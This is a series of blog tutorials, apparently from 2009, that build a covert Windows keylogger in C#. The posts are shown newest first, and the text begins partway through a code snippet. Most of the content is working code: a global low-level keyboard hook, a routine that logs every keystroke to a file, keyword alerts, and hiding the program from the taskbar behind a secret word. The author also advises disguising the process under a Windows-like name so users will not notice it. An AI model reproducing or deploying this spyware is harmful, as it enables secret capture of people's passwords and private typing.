                    MessageBox.Show("KeyWord!");
                    MessageBox.Show((String)keyWords[i]);
 
                    writeUp = "";
 
                }
 
            }
 
        }

Similar Posts:

Keylogger in C# :: Hiding && unhiding

Arxleol — Thu, 29 Oct 2009 22:07:17 +0000

Let’s discuss this time how to hide and unhide out keylogger. Now I have decided to go with secret keyword. When you enter this keyword keylogger will show up. Also in my case it will start hidden in case secret word is set up, if secret word is not chosen then keylogger will start visible.

        public void unhide()
        {
 
            if (writeUp.Contains(secretWord))
            {
 
                this.ShowInTaskbar = true;
                this.TransparencyKey = Color.Yellow;
 
                this.Refresh();
 
                writeUp = "";
 
            }
 
        }

Previous function checks whether user entered secret word, in case secret word is detected then keylogger will be shown. Check your task bar for new program.

Now actual hiding of keylogger I do in constructors and following code hides keylogger.

     this.ShowInTaskbar = false;
     this.Refresh();

You must understand that this is not hiding actual process of keylogger but hides application so it is not obviously visible to final user.

You could in fact spend time to hide process but these actions sometimes fire events with anti-virus programs and therefore will make your keylogger usable. In this case I suggest that you just use some strange name or something similar to names of original windows processes and most users will not notice any difference.Similar Posts:

Keylogger in C# :: Saving content

Arxleol — Tue, 27 Oct 2009 13:26:11 +0000

In this fourth tutorial about writing keylogger in C# we are going to discuss something not as much connected to the keylogging but it is needed for basic functionality of keylogger.

If you remember function that were called in previous tutorial but I haven’t explained their functionality in depth about that. Now we will touch some of them.

private void initKeyWords() {
 
TextReader tr = new StreamReader("keywords.krs");
 
String temp;
 
keyWords = new ArrayList();
 
do
 
{
 
// read a line of text
 
temp = tr.ReadLine();
 
if (temp != null) keyWords.Add(temp);
 
} while (temp != null);
 
// close the stream
 
tr.Close();
 
}

This function reads all keywords from the file named kywords.krs you may name file in any way you want. Also you do not have to have this function but keywords will be used to fire special event alert or sending emails or something similar.

The following two functions are used to write in file secret word, this word is used for hiding or unhiding keylogger.

public String readFromFile(String fil) {
 
TextReader tr = new StreamReader("secret.krs");
 
// read a line of text
 
String secr = tr.ReadLine();
 
// close the stream
 
tr.Close();
 
return secr;
 
}
 
private void WriteSecretWord()
 
{
 
// create a writer and open the file
 
TextWriter tw = new StreamWriter("secret.krs");
 
// write a line of text to the file
 
tw.Write(textBox1.Text);
 
// close the stream
 
tw.Close();
 
}

This function is used for writing pressed keys codes into file named logs.krs it is called from the function explained in previous file.

        public void writeToFile(String writing)
        {
 
            TextReader tr = new StreamReader("logs.krs");
 
            // read a line of text
            String secr = tr.ReadToEnd();
 
            // close the stream
            tr.Close();
 
            // create a writer and open the file
            TextWriter tw = new StreamWriter("logs.krs");
 
            // write a line of text to the file
            tw.WriteLine(secr+writing);
 
            // close the stream
            tw.Close();
 
        }

Similar Posts:

Keylogger in C# :: Detecting pressed keys

Arxleol — Mon, 26 Oct 2009 21:41:07 +0000

Its been a while since I wrote in this line of tutorials and it is time to finish the line. So expect more coming soon. Now, on the business this tutorial will be about detecting pressed keys. In this tutorial we will show how to detect pressed keys. The following function is called when key is pressed. However, you remember introduction in which we explained creating hook and such. In the constructor you should call function that will be called in case key is pressed.

Hook.CreateHook(KeyReaderr);

KeyReaderr is the name of function that will be called in case key hook is active function KeyReaderr will be called.

  public void KeyReaderr(IntPtr wParam, IntPtr lParam)
        {
            int key = Marshal.ReadInt32(lParam);
 
            Hook.VK vk = (Hook.VK)key;
 
            String temp = "";
 
            switch (vk)
            {
                case Hook.VK.VK_F1: temp = "<-F1->";
                    break;
 
                case Hook.VK.VK_F2: temp = "<-F2->";
                    break;
                case Hook.VK.VK_F3: temp = "<-F3->";
                    break;
                case Hook.VK.VK_F4: temp = "<-F4->";
                    break;
                case Hook.VK.VK_F5: temp = "<-F5->";
                    break;
                case Hook.VK.VK_F6: temp = "<-F6->";
                    break;
                case Hook.VK.VK_F7: temp = "<-F7->";
                    break;
                case Hook.VK.VK_F8: temp = "<-F8->";
                    break;
                case Hook.VK.VK_F9: temp = "<-F9->";
                    break;
                case Hook.VK.VK_F10: temp = "<-F10->";
                    break;
                case Hook.VK.VK_F11: temp = "<-F11->";
                    break;
                case Hook.VK.VK_F12: temp = "<-F12->";
                    break;
                case Hook.VK.VK_NUMLOCK: temp = "<-numlock->";
                    break;
                case Hook.VK.VK_SCROLL: temp = "<-scroll>";
                    break;
                case Hook.VK.VK_LSHIFT: temp = "<-left shift->";
                    break;
                case Hook.VK.VK_RSHIFT: temp = "<-right shift->";
                    break;
                case Hook.VK.VK_LCONTROL: temp = "<-left control->";
                    break;
                case Hook.VK.VK_RCONTROL: temp = "<-right control->";
                    break;
                case Hook.VK.VK_SEPERATOR: temp = "|";
                    break;
                case Hook.VK.VK_SUBTRACT: temp = "-";
                    break;
                case Hook.VK.VK_DECIMAL: temp = ".";
                    break;
                case Hook.VK.VK_DIVIDE: temp = "/";
                    break;
                case Hook.VK.VK_NUMPAD0: temp = "0";
                    break;
                case Hook.VK.VK_NUMPAD1: temp = "1";
                    break;
                case Hook.VK.VK_NUMPAD2: temp = "2";
                    break;
                case Hook.VK.VK_NUMPAD3: temp = "3";
                    break;
                case Hook.VK.VK_NUMPAD4: temp = "4";
                    break;
                case Hook.VK.VK_NUMPAD5: temp = "5";
                    break;
                case Hook.VK.VK_NUMPAD6: temp = "6";
                    break;
                case Hook.VK.VK_NUMPAD7: temp = "7";
                    break;
                case Hook.VK.VK_NUMPAD8: temp = "8";
                    break;
                case Hook.VK.VK_NUMPAD9: temp = "9";
                    break;
                case Hook.VK.VK_Q: temp = "q";
                    break;
                case Hook.VK.VK_W: temp = "w";
                    break;
                case Hook.VK.VK_E: temp = "e";
                    break;
                case Hook.VK.VK_R: temp = "r";
                    break;
                case Hook.VK.VK_T: temp = "t";
                    break;
                case Hook.VK.VK_Y: temp = "y";
                    break;
                case Hook.VK.VK_U: temp = "u";
                    break;
                case Hook.VK.VK_I: temp = "i";
                    break;
                case Hook.VK.VK_O: temp = "o";
                    break;
                case Hook.VK.VK_P: temp = "p";
                    break;
                case Hook.VK.VK_A: temp = "a";
                    break;
                case Hook.VK.VK_S: temp = "s";
                    break;
                case Hook.VK.VK_D: temp = "d";
                    break;
                case Hook.VK.VK_F: temp = "f";
                    break;
                case Hook.VK.VK_G: temp = "g";
                    break;
                case Hook.VK.VK_H: temp = "h";
                    break;
                case Hook.VK.VK_J: temp = "j";
                    break;
                case Hook.VK.VK_K: temp = "k";
                    break;
                case Hook.VK.VK_L: temp = "l";
                    break;
                case Hook.VK.VK_Z: temp = "z";
                    break;
                case Hook.VK.VK_X: temp = "x";
                    break;
                case Hook.VK.VK_C: temp = "c";
                    break;
                case Hook.VK.VK_V: temp = "v";
                    break;
                case Hook.VK.VK_B: temp = "b";
                    break;
                case Hook.VK.VK_N: temp = "n";
                    break;
                case Hook.VK.VK_M: temp = "m";
                    break;
                case Hook.VK.VK_0: temp = "0";
                    break;
                case Hook.VK.VK_1: temp = "1";
                    break;
                case Hook.VK.VK_2: temp = "2";
                    break;
                case Hook.VK.VK_3: temp = "3";
                    break;
                case Hook.VK.VK_4: temp = "4";
                    break;
                case Hook.VK.VK_5: temp = "5";
                    break;
                case Hook.VK.VK_6: temp = "6";
                    break;
                case Hook.VK.VK_7: temp = "7";
                    break;
                case Hook.VK.VK_8: temp = "8";
                    break;
                case Hook.VK.VK_9: temp = "9";
                    break;
                case Hook.VK.VK_SNAPSHOT: temp = "<-print screen->";
                    break;
                case Hook.VK.VK_INSERT: temp = "<-insert->";
                    break;
                case Hook.VK.VK_DELETE: temp = "<-delete->";
                    break;
                case Hook.VK.VK_BACK: temp = "<-backspace->";
                    break;
                case Hook.VK.VK_TAB: temp = "<-tab->";
                    break;
                case Hook.VK.VK_RETURN: temp = "<-enter->";
                    break;
                case Hook.VK.VK_PAUSE: temp = "<-pause->";
                    break;
                case Hook.VK.VK_CAPITAL: temp = "<-caps lock->";
                    break;
                case Hook.VK.VK_ESCAPE: temp = "<-esc->";
                    break;
                case Hook.VK.VK_SPACE: temp = "<-space->";
                    break;
                case Hook.VK.VK_PRIOR: temp = "<-page up->";
                    break;
                case Hook.VK.VK_NEXT: temp = "<-page down->";
                    break;
                case Hook.VK.VK_END: temp = "<-end->";
                    break;
                case Hook.VK.VK_HOME: temp = "<-home->";
                    break;
                case Hook.VK.VK_LEFT: temp = "<-arrow left->";
                    break;
                case Hook.VK.VK_UP: temp = "<-arrow up->";
                    break;
                case Hook.VK.VK_RIGHT: temp = "<-arrow right->";
                    break;
                case Hook.VK.VK_DOWN: temp = "<-arrow down->";
                    break;
                default: break;
            }
 
            writeUp = writeUp + temp;
 
            unhide();
            checkKeys();
            writeToFile(temp);
 
        }

There are some additional things in this function we will be using in the following tutorials. But more or less this defines pressed key. We use writeUp because it is used to collect inputted words. unhide function is used when special word is entered to unhide the keylogger if it is hidden. checkKeys is checking whether keyword is entered. This function in fact checks whether keyword is entered and provides notice to user, can be also used to send email or something similar. writeToFile is writing pressed keys into file on the system.Similar Posts:

Keylogger in C# :: Hooking and unhooking keyboard hook

Arxleol — Thu, 07 May 2009 11:49:36 +0000

Now I take that you did in fact checked my introduction to this topic of keylogger. If you did then you may procede if you did not then I woudl suggest that you back there make some reading and understanding. Now I will discuss simple ways to connect to hook that is hooking and unhooking our keyboard hook.

So what’s this all about. I take that you have made aplication in C# already it should be windows form application preferablty since that way we will be on the same road during this learnign process.

If you have form you should place some button on the forum and double click it. This will open you function that will be called when your button is clicked. Now we need to add some chunk of code that will initiate and destroy hook when not needed.

First, of all to easy our procudere we will be using two buttons start and stop.

This is the code that start button should contain:

Hook.CreateHook(KeyReaderr);
 
button2.Enabled = true;
button1.Enabled = false;

You see we are calling function in the class hook created in the previous post. And as parameter we have to input name of method that will be used in the process of detecting pressed keys.

The last two lines of code are in fact just to disable and enable buttons so that when we have hook already initiated there may not be initiated another hook.

            Hook.DestroyHook();
            button2.Enabled = false;
            button1.Enabled = true;

Destroying hook is even easier now we just call method in Hook class, that will do job for us. And as said before now switch enabled buttons.

Now you should have working project that is form and two buttons that when pressed will hook and unhook us. However, before you procede you should have method for reading keys this will be discussed in the next post. But here is definition of that method:

public void KeyReaderr(IntPtr wParam, IntPtr lParam)

As you can notice it is delagating our keyhandler from the introduction.

Good luck Similar Posts:

Keylogger in C# :: Introduction

Arxleol — Thu, 05 Feb 2009 23:32:29 +0000

: Image via Wikipedia

It is a kind or obligation for every hacker to know, understand and speak several languages. Of course not languages in sens of English and Russian but more like C#, Java, NASM and so on. Otherwise without any real skill you will end up just being another script kiddie and no more without any respect, not that knowing how to write one keylogger will change this but it will give you head on start.

Therefore, I have decided to show you in the sequence of probably 5 tutorials how to write simple keylogger and do several other things. Depending how this little project goes I might extend it and add functionality like hiding it from the users using computer and saving data and so on…
As always we have introduction to introduce some things. Yeah, speaking rubbish One other thing worthwhile mentioning is that for keylogger to function like any other keyloggers we have to write keyboard hook. To elaborate this quickly and simply, if we want to know what certain user is writing in our own application on which he has focus we easily use built in functions like key or mouse listener but if you would like to obtain what user is writing in the firefox then you need keyhook. In simple terms: our program will receive any character pressed on the keyboard no matter where in windows.

Keylogger series:

This is some kind of roadmap for the keylogger series I hope that I will have time and resources to provide each week one tutorial for this series.

Introduction

As I have mentioned before we will be using the following class. Please also note to follow this tutorial you need at least some beginners knowledge about either concepts of programming in C# or at least Java since in essence they are the same.

using System;
using System.Diagnostics;
//using System.Windows.Forms;
using System.Runtime.InteropServices;
 
namespace keyboardhook
{
    public static class Hook
    {
        //Similar class is on this site:
        //http://blogs.msdn.com/toub/archive/2006/05/03/589423.aspx
 
        private static class API
        {
 
            //dll imports for hooking and unhooking and sending events trough hook hierarchy
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr SetWindowsHookEx(
                int idHook,
                HookDel lpfn,
                IntPtr hMod,
                uint dwThreadId);
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool UnhookWindowsHookEx(
                IntPtr hhk);
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr CallNextHookEx(
                IntPtr hhk,
                int nCode,
                IntPtr
                wParam,
                IntPtr lParam);
 
            [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr GetModuleHandle(
                string lpModuleName);
 
        }
 
        public enum VK
        {
            //Keycodes may be found on many internet sites.
            //Some keys are commented feel free to uncomment them, explanations are provided for uncommon ones ;)
 
            VK_LBUTTON = 0X01, //Left mouse
            VK_RBUTTON = 0X02, //Right mouse
            //VK_CANCEL       = 0X03,
            VK_MBUTTON = 0X04,
            VK_BACK = 0X08, //Backspace
            VK_TAB = 0X09,
            //VK_CLEAR        = 0X0C,
            VK_RETURN = 0X0D, //Enter
            VK_SHIFT = 0X10,
            VK_CONTROL = 0X11, //CTRL
            //VK_MENU         = 0X12,
            VK_PAUSE = 0X13,
            VK_CAPITAL = 0X14, //Caps-Lock
            VK_ESCAPE = 0X1B,
            VK_SPACE = 0X20,
            VK_PRIOR = 0X21, //Page-Up
            VK_NEXT = 0X22, //Page-Down
            VK_END = 0X23,
            VK_HOME = 0X24,
            VK_LEFT = 0X25,
            VK_UP = 0X26,
            VK_RIGHT = 0X27,
            VK_DOWN = 0X28,
            //VK_SELECT       = 0X29,
            //VK_PRINT        = 0X2A,
            //VK_EXECUTE      = 0X2B,
            VK_SNAPSHOT = 0X2C, //Print Screen
            VK_INSERT = 0X2D,
            VK_DELETE = 0X2E,
            //VK_HELP         = 0X2F,
 
            VK_0 = 0X30,
            VK_1 = 0X31,
            VK_2 = 0X32,
            VK_3 = 0X33,
            VK_4 = 0X34,
            VK_5 = 0X35,
            VK_6 = 0X36,
            VK_7 = 0X37,
            VK_8 = 0X38,
            VK_9 = 0X39,
 
            VK_A = 0X41,
            VK_B = 0X42,
            VK_C = 0X43,
            VK_D = 0X44,
            VK_E = 0X45,
            VK_F = 0X46,
            VK_G = 0X47,
            VK_H = 0X48,
            VK_I = 0X49,
            VK_J = 0X4A,
            VK_K = 0X4B,
            VK_L = 0X4C,
            VK_M = 0X4D,
            VK_N = 0X4E,
            VK_O = 0X4F,
            VK_P = 0X50,
            VK_Q = 0X51,
            VK_R = 0X52,
            VK_S = 0X53,
            VK_T = 0X54,
            VK_U = 0X55,
            VK_V = 0X56,
            VK_W = 0X57,
            VK_X = 0X58,
            VK_Y = 0X59,
            VK_Z = 0X5A,
 
            VK_NUMPAD0 = 0X60,
            VK_NUMPAD1 = 0X61,
            VK_NUMPAD2 = 0X62,
            VK_NUMPAD3 = 0X63,
            VK_NUMPAD4 = 0X64,
            VK_NUMPAD5 = 0X65,
            VK_NUMPAD6 = 0X66,
            VK_NUMPAD7 = 0X67,
            VK_NUMPAD8 = 0X68,
            VK_NUMPAD9 = 0X69,
 
            VK_SEPERATOR = 0X6C, // | (shift + backslash)
            VK_SUBTRACT = 0X6D, // -
            VK_DECIMAL = 0X6E, // .
            VK_DIVIDE = 0X6F, // /
 
            VK_F1 = 0X70,
            VK_F2 = 0X71,
            VK_F3 = 0X72,
            VK_F4 = 0X73,
            VK_F5 = 0X74,
            VK_F6 = 0X75,
            VK_F7 = 0X76,
            VK_F8 = 0X77,
            VK_F9 = 0X78,
            VK_F10 = 0X79,
            VK_F11 = 0X7A,
            VK_F12 = 0X7B,
            //and for the 8 people in the world who do, I think they can live without using them
 
            VK_NUMLOCK = 0X90,
            VK_SCROLL = 0X91, //Scroll-Lock
            VK_LSHIFT = 0XA0,
            VK_RSHIFT = 0XA1,
            VK_LCONTROL = 0XA2,
            VK_RCONTROL = 0XA3,
            //VK_LMENU        = 0XA4,
            //VK_RMENU        = 0XA5,
            //VK_PLAY         = 0XFA,
            //VK_ZOOM         = 0XFB
        } //keycodes
 
        //There are detailed explanations for these functions on MSDNAA and implementations.
        public delegate IntPtr HookDel(
            int nCode,
            IntPtr wParam,
            IntPtr lParam);
 
        public delegate void KeyHandler(
            IntPtr wParam,
            IntPtr lParam);
 
        private static IntPtr hhk = IntPtr.Zero;
        private static HookDel hd;
        private static KeyHandler kh;
 
        //Creation of the hook
        public static void CreateHook(KeyHandler _kh)
        {
            Process _this = Process.GetCurrentProcess();
            ProcessModule mod = _this.MainModule;
            hd = HookFunc;
            kh = _kh;
 
            hhk = API.SetWindowsHookEx(13, hd, API.GetModuleHandle(mod.ModuleName), 0);
            //13 is the parameter specifying that we're gonna do a low-level keyboard hook
 
            //MessageBox.Show(Marshal.GetLastWin32Error().ToString()); //for debugging
            //Note that this could be a Console.WriteLine(), as well. I just happened
            //to be debugging this in a Windows Application
        }
 
        public static bool DestroyHook()
        {
            //to be called when we're done with the hook
 
            return API.UnhookWindowsHookEx(hhk);
        }
 
        //called when key is active
        private static IntPtr HookFunc(
            int nCode,
            IntPtr wParam,
            IntPtr lParam)
        {
            int iwParam = wParam.ToInt32();
            //depending on what you want to detect you can either detect keypressed or keyrealased also with  a bit tweaking keyclicked.
            if (nCode &gt;= 0 &amp;&amp;
                (iwParam == 0x100 ||
                iwParam == 0x104)) //0x100 = WM_KEYDOWN, 0x104 = WM_SYSKEYDOWN
                kh(wParam, lParam);
 
            return API.CallNextHookEx(hhk, nCode, wParam, lParam);
        }
    }
}

Now there are comments to help you with this one. Make sure you have this class since it is base of operations for everything else.Similar Posts: